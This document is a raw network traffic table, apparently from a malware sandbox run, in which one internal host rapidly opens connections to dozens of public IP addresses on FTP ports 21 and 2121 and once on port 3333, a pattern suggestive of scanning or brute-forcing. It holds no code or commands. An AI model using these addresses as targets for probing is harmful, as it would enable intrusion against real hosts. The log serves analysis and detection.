Aug 23, 2023 09:14:32.219686031 CEST	21	49735	189.58.161.188	192.168.2.3
Aug 23, 2023 09:14:32.246030092 CEST	21	49815	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:32.246115923 CEST	21	49815	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:32.246181011 CEST	49815	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:32.246273041 CEST	49815	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:32.255841017 CEST	49757	21	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:32.255861044 CEST	49805	21	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:32.255911112 CEST	49771	21	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:32.255923986 CEST	49806	2121	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:32.255971909 CEST	49758	2121	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:32.271398067 CEST	49772	2121	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:32.271536112 CEST	49734	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:14:32.272680044 CEST	2121	49806	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:32.272732973 CEST	21	49805	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:32.380784035 CEST	49774	2121	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:32.380899906 CEST	49746	2121	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:32.380907059 CEST	49745	21	192.168.2.3	185.104.30.242
Aug 23, 2023 09:14:32.380908966 CEST	49773	21	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:32.407442093 CEST	21	49745	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:32.407512903 CEST	2121	49746	185.104.30.242	192.168.2.3
Aug 23, 2023 09:14:32.411642075 CEST	21	49771	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:32.412827969 CEST	49818	2121	192.168.2.3	87.166.232.252
Aug 23, 2023 09:14:32.412838936 CEST	49817	21	192.168.2.3	87.166.232.252
Aug 23, 2023 09:14:32.435976028 CEST	2121	49772	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:32.458914042 CEST	49790	2121	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:32.458965063 CEST	49789	21	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:32.478060961 CEST	2121	49758	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:32.490375996 CEST	21	49757	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:32.584919930 CEST	49756	2121	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:32.590028048 CEST	49741	21	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:32.590046883 CEST	49755	21	192.168.2.3	213.27.3.97
Aug 23, 2023 09:14:32.590101004 CEST	49742	2121	192.168.2.3	156.96.221.200
Aug 23, 2023 09:14:32.620562077 CEST	2121	49774	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:32.621896982 CEST	21	49773	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:32.653156042 CEST	2121	49756	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:32.654191971 CEST	49820	21	192.168.2.3	86.7.89.66
Aug 23, 2023 09:14:32.656363010 CEST	21	49755	213.27.3.97	192.168.2.3
Aug 23, 2023 09:14:32.657221079 CEST	49821	2121	192.168.2.3	86.7.89.66
Aug 23, 2023 09:14:32.693319082 CEST	21	49741	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:32.693377972 CEST	2121	49742	156.96.221.200	192.168.2.3
Aug 23, 2023 09:14:32.694634914 CEST	49823	21	192.168.2.3	108.39.87.22
Aug 23, 2023 09:14:32.694638968 CEST	49822	2121	192.168.2.3	108.39.87.22
Aug 23, 2023 09:14:32.755832911 CEST	49767	21	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:32.755848885 CEST	49735	21	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:32.755850077 CEST	49768	2121	192.168.2.3	38.23.120.4
Aug 23, 2023 09:14:32.755868912 CEST	49736	2121	192.168.2.3	189.58.161.188
Aug 23, 2023 09:14:32.790492058 CEST	2121	49790	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:32.790545940 CEST	21	49789	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:32.896209002 CEST	2121	49768	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:32.896250010 CEST	21	49767	38.23.120.4	192.168.2.3
Aug 23, 2023 09:14:32.901187897 CEST	49825	2121	192.168.2.3	23.99.230.237
Aug 23, 2023 09:14:32.901192904 CEST	49824	21	192.168.2.3	23.99.230.237
Aug 23, 2023 09:14:32.958929062 CEST	49805	21	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:32.958935022 CEST	49806	2121	192.168.2.3	212.193.183.70
Aug 23, 2023 09:14:32.958981991 CEST	49771	21	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:32.975564003 CEST	2121	49806	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:32.975586891 CEST	21	49805	212.193.183.70	192.168.2.3
Aug 23, 2023 09:14:32.978296041 CEST	49826	21	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:32.978297949 CEST	49827	2121	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:32.993068933 CEST	2121	49827	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:32.993088961 CEST	21	49826	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:33.013309956 CEST	2121	49736	189.58.161.188	192.168.2.3
Aug 23, 2023 09:14:33.014883041 CEST	49828	21	192.168.2.3	95.137.160.160
Aug 23, 2023 09:14:33.034101009 CEST	21	49735	189.58.161.188	192.168.2.3
Aug 23, 2023 09:14:33.043567896 CEST	49829	2121	192.168.2.3	95.137.160.160
Aug 23, 2023 09:14:33.083980083 CEST	49772	2121	192.168.2.3	173.216.176.40
Aug 23, 2023 09:14:33.117486000 CEST	21	49771	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:33.118693113 CEST	49830	21	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:33.144136906 CEST	49757	21	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:33.144141912 CEST	49758	2121	192.168.2.3	36.89.17.195
Aug 23, 2023 09:14:33.151566982 CEST	21	49830	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:33.250984907 CEST	2121	49772	173.216.176.40	192.168.2.3
Aug 23, 2023 09:14:33.259615898 CEST	49831	2121	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:33.271533012 CEST	49773	21	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:33.271536112 CEST	49774	2121	192.168.2.3	187.142.122.127
Aug 23, 2023 09:14:33.293988943 CEST	2121	49831	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:33.366111994 CEST	2121	49758	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:33.367149115 CEST	49832	21	192.168.2.3	72.182.55.79
Aug 23, 2023 09:14:33.378587008 CEST	21	49757	36.89.17.195	192.168.2.3
Aug 23, 2023 09:14:33.388988972 CEST	49833	2121	192.168.2.3	72.182.55.79
Aug 23, 2023 09:14:33.459023952 CEST	49790	2121	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:33.459069967 CEST	49789	21	192.168.2.3	61.70.221.6
Aug 23, 2023 09:14:33.583981991 CEST	49826	21	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:33.584053040 CEST	49827	2121	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:33.599658012 CEST	2121	49827	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:33.599700928 CEST	21	49826	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:33.614427090 CEST	2121	49774	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:33.615525961 CEST	21	49773	187.142.122.127	192.168.2.3
Aug 23, 2023 09:14:33.619925022 CEST	49835	2121	192.168.2.3	211.61.33.106
Aug 23, 2023 09:14:33.624815941 CEST	49834	21	192.168.2.3	211.61.33.106
Aug 23, 2023 09:14:33.771579027 CEST	49830	21	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:33.787641048 CEST	2121	49790	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:33.787681103 CEST	21	49789	61.70.221.6	192.168.2.3
Aug 23, 2023 09:14:33.789625883 CEST	49836	21	192.168.2.3	184.25.187.202
Aug 23, 2023 09:14:33.789864063 CEST	49837	2121	192.168.2.3	184.25.187.202
Aug 23, 2023 09:14:33.806031942 CEST	21	49830	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:33.882024050 CEST	49831	2121	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:33.913547039 CEST	2121	49831	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:34.255929947 CEST	49740	2121	192.168.2.3	50.32.202.75
Aug 23, 2023 09:14:34.255981922 CEST	49744	2121	192.168.2.3	14.73.210.73
Aug 23, 2023 09:14:34.255991936 CEST	49743	21	192.168.2.3	14.73.210.73
Aug 23, 2023 09:14:34.256006002 CEST	49747	21	192.168.2.3	78.202.193.61
Aug 23, 2023 09:14:34.271559954 CEST	49826	21	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:34.271599054 CEST	49739	21	192.168.2.3	50.32.202.75
Aug 23, 2023 09:14:34.271599054 CEST	49738	2121	192.168.2.3	14.95.90.175
Aug 23, 2023 09:14:34.271599054 CEST	49737	21	192.168.2.3	14.95.90.175
Aug 23, 2023 09:14:34.271648884 CEST	49827	2121	192.168.2.3	195.65.102.198
Aug 23, 2023 09:14:34.271738052 CEST	49748	2121	192.168.2.3	78.202.193.61
Aug 23, 2023 09:14:34.286268950 CEST	2121	49827	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:34.286288977 CEST	21	49826	195.65.102.198	192.168.2.3
Aug 23, 2023 09:14:34.287563086 CEST	49838	21	192.168.2.3	76.0.18.30
Aug 23, 2023 09:14:34.288352966 CEST	49839	2121	192.168.2.3	76.0.18.30
Aug 23, 2023 09:14:34.383323908 CEST	49830	21	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:34.383356094 CEST	49761	21	192.168.2.3	46.63.89.85
Aug 23, 2023 09:14:34.383361101 CEST	49752	2121	192.168.2.3	50.70.201.118
Aug 23, 2023 09:14:34.383363962 CEST	49762	2121	192.168.2.3	46.63.89.85
Aug 23, 2023 09:14:34.383377075 CEST	49754	2121	192.168.2.3	180.93.190.147
Aug 23, 2023 09:14:34.383399963 CEST	49763	21	192.168.2.3	80.195.103.106
Aug 23, 2023 09:14:34.383399010 CEST	49751	21	192.168.2.3	50.70.201.118
Aug 23, 2023 09:14:34.383435011 CEST	49753	21	192.168.2.3	180.93.190.147
Aug 23, 2023 09:14:34.415978909 CEST	21	49830	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:34.416685104 CEST	49840	21	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:34.459065914 CEST	49749	21	192.168.2.3	94.130.25.210
Aug 23, 2023 09:14:34.459083080 CEST	49764	2121	192.168.2.3	80.195.103.106
Aug 23, 2023 09:14:34.459093094 CEST	49750	2121	192.168.2.3	94.130.25.210
Aug 23, 2023 09:14:34.459093094 CEST	49759	21	192.168.2.3	43.245.207.245
Aug 23, 2023 09:14:34.459104061 CEST	49765	21	192.168.2.3	23.75.123.98
Aug 23, 2023 09:14:34.459105015 CEST	49766	2121	192.168.2.3	23.75.123.98
Aug 23, 2023 09:14:34.459105015 CEST	49760	2121	192.168.2.3	43.245.207.245
Aug 23, 2023 09:14:34.575745106 CEST	21	49840	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:34.584122896 CEST	49798	2121	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:34.584125042 CEST	49788	2121	192.168.2.3	138.122.36.109
Aug 23, 2023 09:14:34.584129095 CEST	49769	21	192.168.2.3	188.83.44.25
Aug 23, 2023 09:14:34.584120989 CEST	49779	21	192.168.2.3	173.173.114.136
Aug 23, 2023 09:14:34.584120989 CEST	49831	2121	192.168.2.3	212.237.51.154
Aug 23, 2023 09:14:34.584136009 CEST	49776	2121	192.168.2.3	79.126.57.130
Aug 23, 2023 09:14:34.584383965 CEST	49770	2121	192.168.2.3	188.83.44.25
Aug 23, 2023 09:14:34.584387064 CEST	49795	2121	192.168.2.3	69.204.117.115
Aug 23, 2023 09:14:34.584441900 CEST	49775	21	192.168.2.3	79.126.57.130
Aug 23, 2023 09:14:34.584441900 CEST	49782	21	192.168.2.3	94.241.214.148
Aug 23, 2023 09:14:34.584460974 CEST	49781	2121	192.168.2.3	94.241.214.148
Aug 23, 2023 09:14:34.614528894 CEST	2121	49831	212.237.51.154	192.168.2.3
Aug 23, 2023 09:14:34.615474939 CEST	49841	2121	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:34.646661997 CEST	49792	2121	192.168.2.3	76.184.32.224
Aug 23, 2023 09:14:34.646668911 CEST	49791	21	192.168.2.3	76.184.32.224
Aug 23, 2023 09:14:34.646677971 CEST	49793	21	192.168.2.3	81.164.170.246
Aug 23, 2023 09:14:34.646681070 CEST	49796	21	192.168.2.3	69.204.117.115
Aug 23, 2023 09:14:34.646682978 CEST	49794	2121	192.168.2.3	81.164.170.246
Aug 23, 2023 09:14:34.646682978 CEST	49799	21	192.168.2.3	92.195.164.24
Aug 23, 2023 09:14:34.646702051 CEST	49802	2121	192.168.2.3	186.55.11.174
Aug 23, 2023 09:14:34.646718025 CEST	49783	21	192.168.2.3	98.208.164.167
Aug 23, 2023 09:14:34.646723986 CEST	49801	21	192.168.2.3	186.55.11.174
Aug 23, 2023 09:14:34.646723986 CEST	49803	21	192.168.2.3	92.117.9.68
Aug 23, 2023 09:14:34.646723986 CEST	49777	21	192.168.2.3	52.166.127.109
Aug 23, 2023 09:14:34.646725893 CEST	49778	2121	192.168.2.3	52.166.127.109
Aug 23, 2023 09:14:34.646735907 CEST	49787	21	192.168.2.3	138.122.36.109
Aug 23, 2023 09:14:34.646744967 CEST	49784	2121	192.168.2.3	98.208.164.167
Aug 23, 2023 09:14:34.646744967 CEST	49780	2121	192.168.2.3	173.173.114.136
Aug 23, 2023 09:14:34.646744967 CEST	49785	21	192.168.2.3	193.13.166.91
Aug 23, 2023 09:14:34.646749973 CEST	49786	2121	192.168.2.3	193.13.166.91
Aug 23, 2023 09:14:34.646749973 CEST	49800	2121	192.168.2.3	92.195.164.24
Aug 23, 2023 09:14:34.646771908 CEST	49809	21	192.168.2.3	172.121.239.145
Aug 23, 2023 09:14:34.650018930 CEST	49810	2121	192.168.2.3	172.121.239.145
Aug 23, 2023 09:14:34.755959034 CEST	49812	2121	192.168.2.3	95.222.58.248
Aug 23, 2023 09:14:34.771626949 CEST	49804	2121	192.168.2.3	92.117.9.68
Aug 23, 2023 09:14:34.771627903 CEST	49808	2121	192.168.2.3	189.179.16.156
Aug 23, 2023 09:14:34.771644115 CEST	49814	2121	192.168.2.3	157.245.171.137
Aug 23, 2023 09:14:34.771698952 CEST	49813	21	192.168.2.3	157.245.171.137
Aug 23, 2023 09:14:34.771706104 CEST	49807	21	192.168.2.3	189.179.16.156
Aug 23, 2023 09:14:34.771706104 CEST	49811	21	192.168.2.3	95.222.58.248
Aug 23, 2023 09:14:34.775146008 CEST	2121	49841	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:35.084131956 CEST	49816	2121	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:35.136414051 CEST	49840	21	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:35.294817924 CEST	21	49840	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:35.459151983 CEST	49841	2121	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:35.584474087 CEST	49818	2121	192.168.2.3	87.166.232.252
Aug 23, 2023 09:14:35.584475040 CEST	49817	21	192.168.2.3	87.166.232.252
Aug 23, 2023 09:14:35.618144035 CEST	2121	49841	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:35.771744013 CEST	49821	2121	192.168.2.3	86.7.89.66
Aug 23, 2023 09:14:35.771770954 CEST	49820	21	192.168.2.3	86.7.89.66
Aug 23, 2023 09:14:35.771770954 CEST	49822	2121	192.168.2.3	108.39.87.22
Aug 23, 2023 09:14:35.772766113 CEST	49823	21	192.168.2.3	108.39.87.22
Aug 23, 2023 09:14:35.959280014 CEST	49825	2121	192.168.2.3	23.99.230.237
Aug 23, 2023 09:14:35.959517956 CEST	49840	21	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:35.959520102 CEST	49824	21	192.168.2.3	23.99.230.237
Aug 23, 2023 09:14:36.117835045 CEST	21	49840	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:36.118850946 CEST	49842	21	192.168.2.3	186.108.0.46
Aug 23, 2023 09:14:36.124212980 CEST	49828	21	192.168.2.3	95.137.160.160
Aug 23, 2023 09:14:36.124233007 CEST	49841	2121	192.168.2.3	104.224.247.151
Aug 23, 2023 09:14:36.124234915 CEST	49829	2121	192.168.2.3	95.137.160.160
Aug 23, 2023 09:14:36.148607969 CEST	49843	2121	192.168.2.3	186.108.0.46
Aug 23, 2023 09:14:36.194777012 CEST	49844	21	192.168.2.3	193.56.132.129
Aug 23, 2023 09:14:36.209971905 CEST	49845	2121	192.168.2.3	193.56.132.129
Aug 23, 2023 09:14:36.210757017 CEST	49846	21	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:36.211256981 CEST	49847	2121	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:36.225507021 CEST	49848	21	192.168.2.3	122.168.160.34
Aug 23, 2023 09:14:36.241647005 CEST	49849	2121	192.168.2.3	122.168.160.34
Aug 23, 2023 09:14:36.242280960 CEST	49850	21	192.168.2.3	219.71.29.150
Aug 23, 2023 09:14:36.283719063 CEST	2121	49841	104.224.247.151	192.168.2.3
Aug 23, 2023 09:14:36.284353971 CEST	49851	2121	192.168.2.3	219.71.29.150
Aug 23, 2023 09:14:36.329756975 CEST	49852	21	192.168.2.3	174.180.12.117
Aug 23, 2023 09:14:36.329823971 CEST	49853	2121	192.168.2.3	174.180.12.117
Aug 23, 2023 09:14:36.338263035 CEST	49854	21	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:36.350492954 CEST	21	49846	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:36.352366924 CEST	49855	2121	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:36.353171110 CEST	49856	21	192.168.2.3	217.215.204.92
Aug 23, 2023 09:14:36.353647947 CEST	49857	2121	192.168.2.3	217.215.204.92
Aug 23, 2023 09:14:36.354278088 CEST	2121	49847	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:36.367630959 CEST	21	49854	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:36.380825996 CEST	2121	49855	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:36.381083965 CEST	49833	2121	192.168.2.3	72.182.55.79
Aug 23, 2023 09:14:36.381146908 CEST	49832	21	192.168.2.3	72.182.55.79
Aug 23, 2023 09:14:36.383743048 CEST	49858	21	192.168.2.3	183.105.224.134
Aug 23, 2023 09:14:36.384452105 CEST	49859	2121	192.168.2.3	183.105.224.134
Aug 23, 2023 09:14:36.384928942 CEST	49860	21	192.168.2.3	188.155.120.62
Aug 23, 2023 09:14:36.385658979 CEST	49861	2121	192.168.2.3	188.155.120.62
Aug 23, 2023 09:14:36.445439100 CEST	49862	21	192.168.2.3	71.239.176.37
Aug 23, 2023 09:14:36.445986986 CEST	49863	2121	192.168.2.3	71.239.176.37
Aug 23, 2023 09:14:36.446688890 CEST	49864	21	192.168.2.3	84.135.107.208
Aug 23, 2023 09:14:36.448893070 CEST	49865	2121	192.168.2.3	84.135.107.208
Aug 23, 2023 09:14:36.449529886 CEST	49866	21	192.168.2.3	187.202.250.43
Aug 23, 2023 09:14:36.449687958 CEST	49867	2121	192.168.2.3	187.202.250.43
Aug 23, 2023 09:14:36.475441933 CEST	49868	21	192.168.2.3	23.109.118.225
Aug 23, 2023 09:14:36.476149082 CEST	49869	2121	192.168.2.3	23.109.118.225
Aug 23, 2023 09:14:36.491132975 CEST	49870	21	192.168.2.3	87.214.192.191
Aug 23, 2023 09:14:36.491985083 CEST	49871	2121	192.168.2.3	87.214.192.191
Aug 23, 2023 09:14:36.492511988 CEST	49872	21	192.168.2.3	67.164.74.141
Aug 23, 2023 09:14:36.494546890 CEST	49873	2121	192.168.2.3	67.164.74.141
Aug 23, 2023 09:14:36.507862091 CEST	49874	21	192.168.2.3	85.237.246.1
Aug 23, 2023 09:14:36.509486914 CEST	49875	2121	192.168.2.3	85.237.246.1
Aug 23, 2023 09:14:36.510143042 CEST	49876	21	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:36.510257959 CEST	49877	2121	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:36.522630930 CEST	49878	21	192.168.2.3	115.86.234.108
Aug 23, 2023 09:14:36.523169041 CEST	49879	2121	192.168.2.3	115.86.234.108
Aug 23, 2023 09:14:36.523904085 CEST	49880	21	192.168.2.3	24.76.88.64
Aug 23, 2023 09:14:36.524679899 CEST	49881	2121	192.168.2.3	24.76.88.64
Aug 23, 2023 09:14:36.538410902 CEST	49882	21	192.168.2.3	173.175.82.53
Aug 23, 2023 09:14:36.538975954 CEST	49883	2121	192.168.2.3	173.175.82.53
Aug 23, 2023 09:14:36.553983927 CEST	49884	21	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:36.554625034 CEST	49885	2121	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:36.555425882 CEST	49886	21	192.168.2.3	73.234.156.113
Aug 23, 2023 09:14:36.556546926 CEST	49887	2121	192.168.2.3	73.234.156.113
Aug 23, 2023 09:14:36.571086884 CEST	49888	21	192.168.2.3	118.39.0.225
Aug 23, 2023 09:14:36.576390028 CEST	2121	49875	85.237.246.1	192.168.2.3
Aug 23, 2023 09:14:36.579663038 CEST	21	49874	85.237.246.1	192.168.2.3
Aug 23, 2023 09:14:36.615716934 CEST	21	49884	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:36.615772009 CEST	2121	49885	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:36.642379045 CEST	21	49858	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:36.643661976 CEST	2121	49859	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:36.646811008 CEST	49835	2121	192.168.2.3	211.61.33.106
Aug 23, 2023 09:14:36.647799969 CEST	49834	21	192.168.2.3	211.61.33.106
Aug 23, 2023 09:14:36.661171913 CEST	49889	2121	192.168.2.3	118.39.0.225
Aug 23, 2023 09:14:36.767769098 CEST	2121	49877	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:36.767858028 CEST	21	49876	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:36.881213903 CEST	49836	21	192.168.2.3	184.25.187.202
Aug 23, 2023 09:14:36.881258965 CEST	49855	2121	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:36.881261110 CEST	49837	2121	192.168.2.3	184.25.187.202
Aug 23, 2023 09:14:36.881320953 CEST	49854	21	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:36.910315037 CEST	2121	49855	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:36.910366058 CEST	21	49854	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:36.959325075 CEST	49846	21	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:36.960284948 CEST	49847	2121	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:37.090029955 CEST	49875	2121	192.168.2.3	85.237.246.1
Aug 23, 2023 09:14:37.090044975 CEST	49874	21	192.168.2.3	85.237.246.1
Aug 23, 2023 09:14:37.098237038 CEST	21	49846	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:37.103626966 CEST	2121	49847	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:37.146879911 CEST	49859	2121	192.168.2.3	183.105.224.134
Aug 23, 2023 09:14:37.150249004 CEST	49858	21	192.168.2.3	183.105.224.134
Aug 23, 2023 09:14:37.156276941 CEST	2121	49875	85.237.246.1	192.168.2.3
Aug 23, 2023 09:14:37.271836042 CEST	49885	2121	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:37.274274111 CEST	49877	2121	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:37.274274111 CEST	49876	21	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:37.274276972 CEST	49884	21	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:37.332642078 CEST	2121	49885	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:37.333702087 CEST	21	49884	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:37.407524109 CEST	2121	49859	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:37.408164024 CEST	21	49858	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:37.459362030 CEST	49838	21	192.168.2.3	76.0.18.30
Aug 23, 2023 09:14:37.462300062 CEST	49839	2121	192.168.2.3	76.0.18.30
Aug 23, 2023 09:14:37.531419039 CEST	21	49876	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:37.531441927 CEST	2121	49877	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:37.535075903 CEST	49890	21	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:37.538928032 CEST	49891	2121	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:37.539597034 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:37.539681911 CEST	49893	2121	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:37.539740086 CEST	49894	21	192.168.2.3	118.43.209.133
Aug 23, 2023 09:14:37.539933920 CEST	49895	2121	192.168.2.3	118.43.209.133
Aug 23, 2023 09:14:37.540057898 CEST	49896	21	192.168.2.3	217.110.154.156
Aug 23, 2023 09:14:37.540112019 CEST	49897	2121	192.168.2.3	217.110.154.156
Aug 23, 2023 09:14:37.540215969 CEST	49898	21	192.168.2.3	75.132.118.193
Aug 23, 2023 09:14:37.540373087 CEST	49899	2121	192.168.2.3	75.132.118.193
Aug 23, 2023 09:14:37.540585041 CEST	49900	2121	192.168.2.3	62.226.238.15
Aug 23, 2023 09:14:37.540587902 CEST	49901	21	192.168.2.3	95.235.37.164
Aug 23, 2023 09:14:37.540625095 CEST	49902	2121	192.168.2.3	95.235.37.164
Aug 23, 2023 09:14:37.540709972 CEST	49903	21	192.168.2.3	24.198.84.21
Aug 23, 2023 09:14:37.540797949 CEST	49904	2121	192.168.2.3	24.198.84.21
Aug 23, 2023 09:14:37.541239977 CEST	49905	21	192.168.2.3	62.226.238.15
Aug 23, 2023 09:14:37.584379911 CEST	49854	21	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:37.584399939 CEST	49855	2121	192.168.2.3	212.126.128.49
Aug 23, 2023 09:14:37.612457037 CEST	2121	49855	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:37.612905979 CEST	21	49854	212.126.128.49	192.168.2.3
Aug 23, 2023 09:14:37.616909981 CEST	49906	21	192.168.2.3	75.173.48.186
Aug 23, 2023 09:14:37.616990089 CEST	49907	2121	192.168.2.3	75.173.48.186
Aug 23, 2023 09:14:37.666996002 CEST	49908	21	192.168.2.3	201.24.231.171
Aug 23, 2023 09:14:37.667098999 CEST	49909	2121	192.168.2.3	201.24.231.171
Aug 23, 2023 09:14:37.714263916 CEST	49910	21	192.168.2.3	45.92.32.7
Aug 23, 2023 09:14:37.714325905 CEST	49911	2121	192.168.2.3	45.92.32.7
Aug 23, 2023 09:14:37.729953051 CEST	49846	21	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:37.730042934 CEST	49847	2121	192.168.2.3	75.118.129.202
Aug 23, 2023 09:14:37.771821976 CEST	49875	2121	192.168.2.3	85.237.246.1
Aug 23, 2023 09:14:37.787622929 CEST	21	49890	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:37.790333986 CEST	2121	49891	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:37.799531937 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:37.799622059 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:37.837033987 CEST	2121	49875	85.237.246.1	192.168.2.3
Aug 23, 2023 09:14:37.838869095 CEST	49912	21	192.168.2.3	71.11.231.214
Aug 23, 2023 09:14:37.871737003 CEST	21	49846	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:37.873574972 CEST	49913	2121	192.168.2.3	71.11.231.214
Aug 23, 2023 09:14:37.877449989 CEST	2121	49847	75.118.129.202	192.168.2.3
Aug 23, 2023 09:14:37.879339933 CEST	49914	21	192.168.2.3	185.40.19.90
Aug 23, 2023 09:14:37.881206036 CEST	49885	2121	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:37.881215096 CEST	49884	21	192.168.2.3	185.99.32.51
Aug 23, 2023 09:14:37.913981915 CEST	49915	21	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:37.914021015 CEST	49916	2121	192.168.2.3	185.40.19.90
Aug 23, 2023 09:14:37.940514088 CEST	21	49884	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:37.941795111 CEST	2121	49885	185.99.32.51	192.168.2.3
Aug 23, 2023 09:14:37.942281008 CEST	49917	2121	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:37.942899942 CEST	49918	21	192.168.2.3	184.24.120.156
Aug 23, 2023 09:14:37.958291054 CEST	49859	2121	192.168.2.3	183.105.224.134
